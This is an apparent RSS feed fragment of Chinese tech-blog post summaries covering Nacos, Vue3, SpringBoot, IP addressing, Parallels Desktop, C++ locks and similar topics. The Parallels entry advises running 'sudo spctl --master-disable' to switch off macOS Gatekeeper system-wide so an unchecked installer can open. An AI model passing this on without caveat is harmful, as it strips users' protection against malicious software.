      <guid>https://bchobby.github.io/posts/a0a15973a9001d7fc65c44d8d873e0c4/</guid>
      <description>微信群消息，有人到处在各个群里推销芯片。舆论层面，芯片缺货似乎仍在继续，囤货似乎仍然是主流。为什么已经有人开始到处推销芯片了？因为他们已经预感到芯片供需拐点即将到来。&#xA;我们先来看看需求侧。&#xA;首先，疫情带来的电子产品需求已经结束。随着国外在奥密克戎变种之下，选择躺平，人员流动趋于自由。同时，电子产品该买已经买了，需求也已经得到了满足。在此条件下，芯片需求下降已经是趋势。&#xA;其次，由于疫情导致的经济下滑，人们的消费能力变弱。除了中国之外，世界绝大多数国家的经济增长为负值。人们手里的钱是变少而不是更多，同样导致芯片需求下降。&#xA;我们再来看看供给侧。&#xA;台积电是最早预感到芯片短缺的情况的公司。因此，台积电是最早开始筹备扩厂的公司。按照建厂到产能到位时间至少为18~24个月为例。预计今年年中新建产能就能到位。其他各大芯片厂，如中芯国际，格罗方德等公司，也纷纷扩张产能。产能扩张的时间窗口越来越近。&#xA;芯片短缺的原因，不仅在于需求侧，更在于供应链断链。疫情导致的港口拥堵，物流不畅，以及贸易战引发的恐慌，导致所有厂家选择囤货以及疯狂下单，这才是这次芯片短缺的罪魁祸首。一旦新的产能到位，由于囤货厂家担心手里的货物砸到手里，就会会选择降低库存。库存释放，产能扩张，两者共同作用之下，将会导致芯片供应迅速由短缺变为过剩。&#xA;我们再来看芯片股。以英特尔，英伟达为例，均已经从最高点连续下跌2个月，目前仍在下跌中。可以看出，资本已经意识到芯片股高峰已过，正在选择抽身。&#xA;如果芯片供应短缺现象扭转之后，最先受伤的必然是囤货最多的厂家。&#xA;当正常状况下，所有的厂家追求的是0库存。而现在，厂家囤货甚至高达一个月甚至一年的需求量。如此高的库存下，如果芯片转为供应过剩，必然损失惨重。&#xA;我们可以再设想，当芯片供应过剩情况下，小型公司以及创业公司的风险可能骤增。为何? 大厂的芯片可以足额供应，并且更有品质保证，更有足够的利润可以降价。作为客户，你会选择创业公司的芯片还是大厂的芯片？&#xA;而如果系统厂商如果由于市场萎缩，导致产品利润下降，那么他们是否有能力再养的起庞大的芯片团队？芯片人才的工资如今已是天价。&#xA;从某位投资经理处得到消息，目前很多资金对于投资芯片公司已经趋于保守。&#xA;有人在我列出成本后，打消了自研芯片的念头</description>
    </item>
    <item>
      <title>序列化和反序列化详细介绍</title>
      <link>https://bchobby.github.io/posts/17862c040e9144fad31018e03f76deb7/</link>
      <pubDate>Tue, 22 Feb 2022 16:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17862c040e9144fad31018e03f76deb7/</guid>
      <description>凡事都要问为什么，在讲解序列化概念和原理前，我们先来了解一下为什么需要序列化。&#xA;为什么要序列化？ 如果光看定义我想你很难一下子理解序列化的意义，那么我们可以从另一个角度来感受一下什么是序列化。&#xA;都玩过游戏么？玩过的同学应该知道游戏里有一个叫『存档』的功能，每次不想玩的时候可以把当前进度存档，下次有时间想玩的时候，直接载入存档就可以接着玩了，这样的好处是之前的游戏进度不会丢失，要是每次打开都重新玩估计大家也没什么耐心了。&#xA;如果把面向对象的思想带到游戏的世界，那在我们眼中不管是游戏角色还是游戏中的怪兽、装备等等都可以看成是一个个对象：&#xA;角色对象（包含性别、等级、经验值、血量、伤害值、护甲值等属性）&#xA;怪兽对象（包含类型、血量、等级等等属性）&#xA;装备对象（包含类型、伤害值、附加值等等属性）&#xA;在玩游戏的过程中创建一个游戏角色就好像是创建了一个角色对象，拿到一套装备就好像创建了一个装备对象，路上遇到的怪兽等等也都是对象了。&#xA;我们再用计算机的思维去思考，创建的这些对象都是保存在内存中的，大家都知道内存的数据是短暂保留的，断电之后是会消失的，但是游戏经过手动存档之后就算你关机几天了，再次进入游戏读取存档，你会发现之前在游戏中创建的角色和装备都还在呢，这就很奇怪了，明明内存的数据断电就消失了，这是为什么？&#xA;稍加思考就知道，我们在存档的过程中就是将内存中的数据存储到电脑的硬盘中，硬盘的数据在关机断电后是不会丢失的（别杠，硬盘损坏数据丢失先不考虑）。这个过程就是对象的持久化，也就是我们今天要讲的对象序列化。对象的序列化逆过程就叫做反序列化，反序列化也很好理解就是将硬盘中的信息读取出来形成对象。&#xA;什么是序列化？ 前面引入游戏的例子是为了让大家生动地理解什么是序列化和反序列化。简单总结一下就是：&#xA;序列化是指将对象实例的状态存到存储媒体的过程&#xA;反序列化是指将存储在存储媒体中的对象状态装换成对象的过程&#xA;用更为抽象的概念来讲：&#xA;序列化：把对象转化为可传输的字节序列过程&#xA;反序列化：把字节序列还原为对象的过程&#xA;序列化的机制 序列化最终的目的是为了对象可以跨平台存储和进行网络传输，而我们进行跨平台存储和网络传输的方式就是 IO，而 IO 支持的数据格式就是字节数组。&#xA;那现在的问题就是如何把对象转换成字节数组？这个很好办，一般的编程语言都有这个能力，可以很容易将对象转成字节数组。&#xA;仔细一想，我们单方面的把对象转成字节数组还不行，因为没有规则的字节数组我们是没办法把对象的本来面目还原回来的，简单说就是将对象转成字节数组容易但是将字节数组还原成对象就难了，所以我们必须在把对象转成字节数组的时候就制定一种规则（序列化），那么我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来（反序列化）。&#xA;还是拿上面游戏那个例子，我们将正在玩的游戏存档到硬盘，序列化就是将一个个角色对象和装备对象存储到硬盘，然后留下一张原来对象的结构图纸，反序列化就是将硬盘里一个个对象读出来照着图纸逐个还原恢复。&#xA;常见序列化的方式 序列化只是定义了拆解对象的具体规则，那这种规则肯定也是多种多样的，比如现在常见的序列化方式有：JDK 原生、JSON、ProtoBuf、Hessian、Kryo等。&#xA;（1）JDK 原生&#xA;作为一个成熟的编程语言，JDK自带了序列化方法。只需要类实现了Serializable接口，就可以通过ObjectOutputStream类将对象变成byte[]字节数组。&#xA;JDK 序列化会把对象类的描述信息和所有的属性以及继承的元数据都序列化为字节流，所以会导致生成的字节流相对比较大。&#xA;另外，这种序列化方式是 JDK 自带的，因此不支持跨语言。&#xA;简单总结一下：JDK 原生的序列化方式生成的字节流比较大，也不支持跨语言，因此在实际项目和框架中用的都比较少。&#xA;（2）ProtoBuf&#xA;谷歌推出的，是一种语言无关、平台无关、可扩展的序列化结构数据的方法，它可用于通信协议、数据存储等。序列化后体积小，一般用于对传输性能有较高要求的系统。&#xA;（4）Hessian&#xA;Hessian 是一个轻量级的二进制 web service 协议，主要用于传输二进制数据。&#xA;在传输数据前 Hessian 支持将对象序列化成二进制流，相对于 JDK 原生序列化，Hessian序列化之后体积更小，性能更优。&#xA;（5）Kryo&#xA;Kryo 是一个 Java 序列化框架，号称 Java 最快的序列化框架。Kryo 在序列化速度上很有优势，底层依赖于字节码生成机制。&#xA;由于只能限定在 JVM 语言上，所以 Kryo 不支持跨语言使用。&#xA;（6）JSON&#xA;上面讲的几种序列化方式都是直接将对象变成二进制，也就是byte[]字节数组，这些方式都可以叫二进制方式。</description>
    </item>
    <item>
      <title>node-sass修改源</title>
      <link>https://bchobby.github.io/posts/6e66e9151dc52da5f403a3cd11db246b/</link>
      <pubDate>Tue, 22 Feb 2022 16:48:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e66e9151dc52da5f403a3cd11db246b/</guid>
      <description> node-sass修改源 yarn config set sass_binary_site https://mirrors.huaweicloud.com/node-sass/ </description>
    </item>
    <item>
      <title>Nacos客户端启动出现9848端口错误分析（非版本升级问题）</title>
      <link>https://bchobby.github.io/posts/20e361a2121bf0e57496204d3e116c3b/</link>
      <pubDate>Tue, 22 Feb 2022 14:19:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20e361a2121bf0e57496204d3e116c3b/</guid>
      <description>一、背景 很多人Nacos客户端启动时，会报错如下，提示9848端口连接超时。&#xA;我自己也搜了搜，很多文章都说是版本问题，把客户端升级2.0就好了，但是我发现很多人升级之后还是会报这个错，网上找了半天都是让升级版本，好吧，网上没答案，只能自己分析了。&#xA;二、分析源码 找到报错的地方 GrpcClient.serverCheck() 方法，然后打断点，重新启动，等执行完下面这一行，发现居然又不报错了，然后竟然启动成功了！&#xA;responseFuture.get(3000L, TimeUnit.MILLISECONDS);&#xA;反复试了几次，只要打断点就不报错，不打断点就报错。&#xA;仔细研究了下，requestBlockingStub.request 是非阻塞请求，请求后直接进入&#xA;responseFuture.get(3000L, TimeUnit.MILLISECONDS) 方法里，这方法是判断上面的请求响应是否回来，大家可以看下里面的逻辑，大体上就是3秒超时时间之内，会循环判断响应是否返回，如果超时没有返回就抛出异常了。&#xA;这就是为什么打了断点之后，就不报错了，打了断点无形中增加了超时时间，在判断超时方法之前，响应已经返回了，自然不会报错了。&#xA;三、是否启动成功 大多数人，启动时报错之后，项目仍然启动成功了，nocas服务列表也已经有了，但是看到报错心里还是有点疑惑，真的就没问题吗？我们再分析一下，找找源头，报错的方法serverCheck，是从哪里开始调用的&#xA;一步一步追，找到本类的 connectToServer 方法&#xA;继续找调用 connectToServer 方法的地方，定位到了RpcClient.class里的 start 方法&#xA;发现，里面调用 connectToServer 时，返回null（就是前面报错后返回null），会重试三次，一般第二次就会连接成功了，会打印出 Success to connect to server on start up&#xA;所以大家启动报错后要看下，报错日志下面是否有成功日志，有成功日志就表示正常，没有问题。</description>
    </item>
    <item>
      <title>前端培训：Vue3添加公共方法与使用</title>
      <link>https://bchobby.github.io/posts/431c30de31cce09c0af391846091d671/</link>
      <pubDate>Tue, 22 Feb 2022 11:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/431c30de31cce09c0af391846091d671/</guid>
      <description>在vue3中是不会直接暴露vue对象给你使用了。前端培训所以不能想vue2那样直接在原型上挂载，那么该如何实现公共方法的挂载呢？下面以$axios方法为例，介绍vue3添加公共方法的三种方式。&#xA;第一种：使用 app.config.globalProperties 添加 import { createApp } from &#39;vue&#39;&#xA;import axios from &#39;axios&#39;&#xA;const app = createApp({&#xA;created() {&#xA;console.log(this.$axios)&#xA;}&#xA;})&#xA;app.config.globalProperties.$axios = axios&#xA;app.mount(&#39;#root&#39;)&#xA;在setup中访问（setup中没有this）&#xA;&amp;lt;script setup&amp;gt;&#xA;import {getCurrentInstance} from &#39;vue&#39;&#xA;const { proxy } = getCurrentInstance();//获取公用方法proxy.$axios，或者use中方法&#xA;const {$axios}=proxy&#xA;console.log($axios)&#xA;&amp;lt;/script&amp;gt;&#xA;第二种：使用 app.mixin 添加 import { createApp} from &#39;vue&#39;&#xA;import axios from &#39;axios&#39;&#xA;const app = createApp({&#xA;created() {&#xA;console.log(this.$axios)&#xA;}&#xA;})&#xA;app.mixin({&#xA;methods: {&#xA;$axios: axios</description>
    </item>
    <item>
      <title>SpringBoot 后台权限框架搭建（一）—后台框架搭建</title>
      <link>https://bchobby.github.io/posts/ac3a9a886f5e8425c84a19f0f2eb853f/</link>
      <pubDate>Tue, 22 Feb 2022 10:56:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac3a9a886f5e8425c84a19f0f2eb853f/</guid>
      <description>SpringBoot 后台权限框架搭建（一）—后台框架搭建&#xA;SpringBoot后台权限管理系统（二)—前端工程搭建&#xA;SpringBoot后台权限管理系统（三)—权限模块&#xA;SpringBoot后台权限管理系统（四)—部署&#xA;项目简介 项目名称定义为mountain（山）, 主要实现后端权限管理系统，包括用户管理、 角色管理、部门管理、菜单管理等。项目采用前后端分离模式开发， 后端使用springboot+shiro+mybatis+MySQL等；前端选用Element UI框架， 直接基于vue-element-admin的基础上扩展开发。 项目源码下载地址&#xA;工程目录说明 集成jar包 集成 Springboot、Shiro、Mybatis、Druid等jar包 在pom.xml 文件中引用相对应的jar包 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.site&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mountain&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt; &amp;lt;name&amp;gt;mountain&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;project.reporting.outputEncoding&amp;gt;UTF-8&amp;lt;/project.reporting.outputEncoding&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.</description>
    </item>
    <item>
      <title>程序设计天梯赛L3-3 (并查集模板，今天已经神志不清了)</title>
      <link>https://bchobby.github.io/posts/a802f7bb6e6e71f5907ff890ecd7c2b2/</link>
      <pubDate>Mon, 21 Feb 2022 22:27:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a802f7bb6e6e71f5907ff890ecd7c2b2/</guid>
      <description>题目&#xA;题意: 给定n个人，每人有num个感兴趣的课程xi,1&amp;lt;=i&amp;lt;=num。所有有共同感兴趣课程的人为一个group。要求求出group的数量，并且按非升序输出他们的大小。n = 1000,num = 1000.&#xA;思路: 我寻思这不是并查集裸题，然后发现他这个课程的值域并不是从1到n.(它也确实不应该是从1到n)那我就不能通过fa[i] == i判断是不是一个真group主人还是课程没有出现。但是可以通过一种比较笨的方法，对于1到n每个人我们都去find一下他的父亲是谁，即可统计出对应group的大小。&#xA;另，维护并查集时需判断一下某个课程是否为第一次出现。&#xA;时间复杂度: O(n * m * α( n*m ))&#xA;代码:&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdio&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;complex&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;vector&amp;gt; #include&amp;lt;map&amp;gt; #include&amp;lt;unordered_map&amp;gt; #include&amp;lt;list&amp;gt; #include&amp;lt;set&amp;gt; #include&amp;lt;queue&amp;gt; #include&amp;lt;stack&amp;gt; #define OldTomato ios::sync_with_stdio(false),cin.tie(nullptr),cout.tie(nullptr) #define fir(i,a,b) for(int i=a;i&amp;lt;=b;++i) #define mem(a,x) memset(a,x,sizeof(a)) #define p_ priority_queue // round() 四舍五入 ceil() 向上取整 floor() 向下取整 // lower_bound(a.begin(),a.end(),tmp,greater&amp;lt;ll&amp;gt;()) 第一个小于等于的 // #define int long long //QAQ using namespace std; typedef complex&amp;lt;double&amp;gt; CP; typedef pair&amp;lt;int,int&amp;gt; PII; typedef long long ll; // typedef __int128 it; const double pi = acos(-1.</description>
    </item>
    <item>
      <title>ORA-01843:无效的月份解决方法</title>
      <link>https://bchobby.github.io/posts/59f73546fce900cc2fafa5b215409f16/</link>
      <pubDate>Mon, 21 Feb 2022 19:54:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59f73546fce900cc2fafa5b215409f16/</guid>
      <description> 问题出现的根本原因：数据库安装时的语言与你要插入的数据的语言不一致&#xA;使用如下命令查看：&#xA;SELECT * FROM v$parameter WHERE name = &#39;nls_date_language&#39;;&#xA;修改语言：ALTER SESSION SET NLS_DATE_LANGUAGE=&#39;AMERICAN&#39;;&#xA;数据库的语言是简体中文(所以日期也是中文日期)，但是插入的日期是英文日期，所以提示月份无效。&#xA;解决方式：&#xA;new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss&#34;).parse(DateFormat.getDateTimeInstance().format(new Date())) </description>
    </item>
    <item>
      <title>IP地址的分类和规划</title>
      <link>https://bchobby.github.io/posts/311dee6a0b64afd048770a4e691e89b5/</link>
      <pubDate>Mon, 21 Feb 2022 15:51:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311dee6a0b64afd048770a4e691e89b5/</guid>
      <description>每日分享：&#xA;你拼命奔跑的样子，终究会在风中留下痕迹！&#xA;文章目录 一、IP地址的格式二、私有IP地址三、IP地址分类：四、子网掩码五、IP地址的规划 一、IP地址的格式 1)、主机唯一的标识，保证主机间正常通信&#xA;2)、一种网络编码，用来确定网络中一个节点&#xA;3)、IP地址由32位二进制(32bit)组成:&#xA;例：11010010.01001001.10001100.00000110化为十进制为:210.73.140.6。&#xA;IP地址分为两部分:网络部分(NETWORK)、主机部分(HOST)。&#xA;IP地址分为A、B、C、D、E五类，每一类有不同的划分规则:&#xA;二、私有IP地址 1、满足企业用户在内部网络中使用的需求，且私有地址不能在lnternet上使用。&#xA;2、私有地址包括3组：A、B、C三类(属于有类地址)&#xA;A类:10.0.0.0~10.255.255.255&#xA;B类: 172.16.0.0~172.31.255.255&#xA;C类:192.168.0.0~192.168.255.255&#xA;三、IP地址分类： 1、有类地址:标准的IP地址(A、B、C三类)属于有类地址，例如A类地址掩码8位、B类地址掩码16位、C类地址掩码24位，都属于有类地址——(A/8 B/16 C/24)。&#xA;无类地址:为了灵活地使用IP地址，需要根据需求对IP地址进行子网划分，使划分后的IP地址不再具备有类地址的特征，这些地址称为无类地址——(可变子网)。&#xA;2、C类地址划分：IP地址进过一次自额昂划分后，被分为三个部分——网络位、子网位和主机位。&#xA;子网数=2^n，其中n为子网部分位数；&#xA;有效主机数=2^N-2(2为网络号、广播号）,其中N为主机部分位数。&#xA;四、子网掩码 1、用32个二进制位来确定IP的网络地址，对应IP地址的网络部分用1表示，对应IP地址的主机部分用0表示。&#xA;IP地址和子网掩码作逻辑“与”运算得到网络地址，0和任何数相与都等于0，1和任何数相与都等于任何数本身。&#xA;2、A、B、C三类地址的默认子网掩码：&#xA;A类:255.0.0.0&#xA;B类:255.255.0.0&#xA;C类:255.255.255.0&#xA;4、子网划分的原因:&#xA;1)满足不同网络对IP地址的需求&#xA;2)实现网络的层次性&#xA;3)节省IP地址&#xA;5、子网划分的软硬规则:&#xA;·“软”规则&#xA;辅助性规则，其目的是方便网络管理员的统一管理，如给某大厦的10层分配地址是192.168.10.0/24 IP段,12层分配192.168.12.0/24。&#xA;“硬”规则&#xA;如何根据实际情况制定出合理的划分方法，如查看网络设计，包括每个部门拥有的主机数、需要iP地址设备数量及哪些设备需要配置的互联地址；&#xA;确定需要的子网数；&#xA;确定每个子网需要的IP地址数和使用的掩码。&#xA;五、IP地址的规划 1、IP地址规划原则&#xA;要遵循4个原则：唯一性、可扩展性、连续性、实意性。&#xA;2、IP地址规划注意事项&#xA;1)配置互联地址时，子网掩码为30；&#xA;2)配置Loopback地址时，子网掩码为32；&#xA;3)对各业务网关进行统一设定</description>
    </item>
    <item>
      <title>TypeError:this.getOptions is not a function</title>
      <link>https://bchobby.github.io/posts/c022af99e5d102cf06bc95d1c6bd9ad7/</link>
      <pubDate>Mon, 21 Feb 2022 11:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c022af99e5d102cf06bc95d1c6bd9ad7/</guid>
      <description>问题描述： vue开发项目时，提示需要安装less-loader，使用npm install安装后报错如下： 直接npm install安装的是最新版本的，less-loader版本过高和webpack版本不一致导致&#xA;解决方案： 降低less-loader版本，或者也可以升级webpack版本，但是容易引发一系列其他问题，建议只降低less-loader的版本&#xA;npm install less-loader@6.0.0</description>
    </item>
    <item>
      <title>MacPro安装运行Win10虚拟机 (Parallels Desktop)</title>
      <link>https://bchobby.github.io/posts/61db9b20966376f6f1ac74b96efd3363/</link>
      <pubDate>Mon, 21 Feb 2022 10:42:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61db9b20966376f6f1ac74b96efd3363/</guid>
      <description>Parallels Desktop for Mac安装运行Win10 Parallels Desktop 安装Win10镜像下载：PD安装Win10虚拟机网络问题解决： 先上图：&#xA;最近研究学习Mac，因为嵌入式开发大部分软件都是Windows的，又懒得装双系统，所以直接用虚拟机。。&#xA;经过对比，Mac上虚拟机还是PD比较丝滑，有种上真机的赶脚，速度快，各种资源使用共享方便。。。就是收费。。。而免费的Virtual Box 运行Win10实测太卡顿，没法用。。。&#xA;Parallels Desktop 安装 下载Parallels Desktop 安装包后，打开点击安装：&#xA;安装过程如果报错：“无法打开“Parallels Desktop”,因为Apple无法检查其是否包含恶意软件。”&#xA;则 终端输入 sudo spctl --master-disable&#xA;执行后重新打开dmg 继续安装即可&#xA;安装过程和正常软件一样即可，&#xA;同时安装下Tools&#xA;安装完成后打开&#xA;Win10镜像下载： 镜像下载有很多方式：&#xA;msdn：https://msdn.itellyou.cn/ 下载纯净版，微软官方：https://www.microsoft.com/zh-cn/software-download/windows10ISO 微软官方也提供构建好的PD虚拟机下载：https://developer.microsoft.com/zh-cn/windows/downloads/virtual-machines/&#xA;用msdn下载最新Win10：&#xA;或者在微软官方Link：&#xA;下载好后，即可准备安装win10了&#xA;PD安装Win10 配置好偏好设置各权限后，打开PD ，点击安装Windows：&#xA;选择下载好的win10 ISO，点击继续：&#xA;选择系统类型：&#xA;点击继续输入或跳过许可证，&#xA;随即和正常流程一样，开始安装Windows，&#xA;安装完成：&#xA;快捷方式已自动显示：&#xA;虚拟机网络问题解决： 启动win10后，如果发现提示：虚拟机网络配置失败：&#xA;通过修改 /Library/Preferences/Parallels/network.desktop.xml&#xA;将 &amp;lt;UseKextless&amp;gt;-1&amp;lt;/UseKextless&amp;gt; 改为： &amp;lt;UseKextless&amp;gt;0&amp;lt;/UseKextless&amp;gt;，因为该文件被锁定，需要copy到桌面修改保存后，再替代到源目录！&#xA;之后重新启动PD和虚拟机即可使用网络：&#xA;网络方式选择与主机共享即可：&#xA;附虚拟机磁盘占用大小：</description>
    </item>
    <item>
      <title>C&#43;&#43;性能优化（十二）——自旋锁</title>
      <link>https://bchobby.github.io/posts/97426f67c72e983947c4abab8f02b85a/</link>
      <pubDate>Mon, 21 Feb 2022 10:38:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97426f67c72e983947c4abab8f02b85a/</guid>
      <description>一、互斥锁 1、互斥锁简介 互斥锁属于sleep-waiting类型锁。Linux Kernel 2.6.x稳定版开始，Linux的互斥锁都是futex (Fast Usermode Mutex)锁。&#xA;Futex是一个在Linux上实现锁定和构建高级抽象锁如信号量和POSIX互斥的基本工具。&#xA;Futex由Hubertus Franke（IBM Thomas J. Watson 研究中心），Matthew Kirkwood，Ingo Molnar（Red Hat）和 Rusty Russell（IBM Linux 技术中心）等人创建。&#xA;Futex是由用户空间的一个对齐的整型变量和附在其上的内核空间等待队列构成。多进程或多线程绝大多数情况下对位于用户空间的futex的整型变量进行操作(汇编语言调用CPU提供的原子操作指令来增加或减少)，而其它情况下则需要通过代价较大的系统调用来对位于内核空间的等待队列进行操作(如唤醒等待的进程/线程或将当前进程/线程放入等待队列)。除了多个线程同时竞争锁的少数情况外，基于futex的lock操作是不需要进行代价昂贵的系统调用操作的。&#xA;Futex核心思想是通过将大多数情况下非同时竞争lock的操作放到在用户空间执行，而不是代价昂贵的内核系统调用方式来执行，从而提高了效率。&#xA;互斥锁禁止多个线程同时进入受保护的代码临界区（critical section）。在任意时刻，只有一个线程被允许进入代码保护区。互斥锁实际上是count=1情况下的semaphore。&#xA;2、互斥锁特点 互斥锁缺点：&#xA;（1）等待互斥锁会消耗时间，等待延迟会损害系统的可伸缩性。&#xA;（2）优先级倒置。低优先级的线程可以获得互斥锁，因此会阻碍需要同一互斥锁的高优先级线程。&#xA;（3）锁护送（lock convoying）。如果持有互斥锁的线程分配的时间片结束，线程被取消调度，则等待同一互斥锁的其它线程需要等待更长时间。&#xA;3、互斥锁API #include &amp;lt;pthread.h&amp;gt; int pthread_mutex_destroy(pthread_mutex_t *mutex); int pthread_mutex_init(pthread_mutex_t *restrict mutex, const pthread_mutexattr_t *restrict attr); pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; int pthread_mutex_lock(pthread_mutex_t *mutex); int pthread_mutex_trylock(pthread_mutex_t *mutex); int pthread_mutex_unlock(pthread_mutex_t *mutex); int pthread_mutex_timedlock(pthread_mutex_t *restrict mutex, const struct timespec *restrict abs_timeout); 二、自旋锁 1、自旋锁简介 自旋锁（spin lock）属于busy-waiting类型锁。在多处理器环境中，自旋锁最多只能被一个可执行线程持有。如果一个可执行线程试图获得一个被其它线程持有的自旋锁，那么线程就会一直进行忙等待，自旋（空转），等待自旋锁重新可用。如果自旋锁未被争用，请求锁的执行线程便立刻得到自旋锁，继续执行。</description>
    </item>
    <item>
      <title>elementui日期选择器</title>
      <link>https://bchobby.github.io/posts/84dec533c006cdb7c4ab059234f47b8f/</link>
      <pubDate>Mon, 21 Feb 2022 10:34:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84dec533c006cdb7c4ab059234f47b8f/</guid>
      <description> 日期选择器只能选择明天及以后 &amp;lt;el-date-picker&#x9;:picker-options=&#34;pickerOptions&#34;&amp;gt; data () { return { pickerOptions: { disabledDate (time) { return time.getTime() &amp;lt; Date.now() } } } } </description>
    </item>
    <item>
      <title>pyspark中dataframe 转化问题（panda、list等）</title>
      <link>https://bchobby.github.io/posts/96696e6a11d3292141a91a96ac4c8df0/</link>
      <pubDate>Sun, 20 Feb 2022 17:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96696e6a11d3292141a91a96ac4c8df0/</guid>
      <description>背景 dataframe是pyspark中常见的数据类型，一般从load的sql中读取。有时候输入数据源并非sql，这时如何处理呢？&#xA;具体转化示例 list转化为dataframe 先将list转化为 dataframe&#xA;import pandas as pd data_list = [[&#39;wer&#39;, 1], [&#39;asd&#39;, 2]] panda_df = pd.DataFrame(data_list, columns=[&#39;col_name1&#39;, &#39;col_name2&#39;]) # 此处要注意panda和pandas是两个不同的包 # pandas中的dataframe和spark中的dataframe不一样 再将pandas中的dataframe转化成spark中的dataframe&#xA;from pyspark.sql import SparkSession spark = SparkSession.builder.enableHiveSupport().getOrCreate() spark_df = spark.createDataFrame(panda_df) 其他 更多spark中dataframe 操作可参见 pyspark中where及=的使用</description>
    </item>
    <item>
      <title>在win10中安装vim并配置vimplus</title>
      <link>https://bchobby.github.io/posts/28e2fb9fe574b9a6eee9b17a7604d636/</link>
      <pubDate>Sun, 20 Feb 2022 14:04:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28e2fb9fe574b9a6eee9b17a7604d636/</guid>
      <description>目 录 一、vim 仓库下载 vim 32 位 或者 64 位安装包]二、git 仓库下载 git三、将 .vimplus 克隆至用户文件夹四、安装 vimplus五、移动个别文件以适配 vimplus 的设置六、安装插件七、扩展安装八、完成 如果你也想在 windows 下使用 vim, 这篇文章可能会给你提供一点帮助。用熟悉了 vim ，在 windows 下总会怀念 它，今天试着安装了下，特此记录，欢迎参考~&#xA;一、vim 仓库下载 vim 32 位 或者 64 位安装包] 安装入口&#xA;ps：下述安装包的下载完成后出现黄色感叹号时，并且你选择“不信任该文件”时，文件的扩展名会变成一串bala…，我直接将其改成了 exe 😃&#xA;下载下来后双击运行，一路 next， 将其安装至非系统盘&#xA;将安装后的位置添加至环境变量中的 path 中，便于在cmd 或者 powershell 中命令行式的使用 vim&#xA;我的是这样的：&#xA;二、git 仓库下载 git 安装入口&#xA;同理将 git 安装好的路径添加至环境变量中的 path 变量中便于在命令行下使用 git 命令&#xA;三、将 .vimplus 克隆至用户文件夹 vimplus 仓库&#xA;刚进入cmd 时的位置即为用户文件夹：&#xA;&#34;进入 cmd，不要变更位置，执行以下` git clone `命令(将 .</description>
    </item>
    <item>
      <title>DCDC 原理简介</title>
      <link>https://bchobby.github.io/posts/b9d6c2be3261c578085e6550deda78dc/</link>
      <pubDate>Sat, 19 Feb 2022 22:52:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9d6c2be3261c578085e6550deda78dc/</guid>
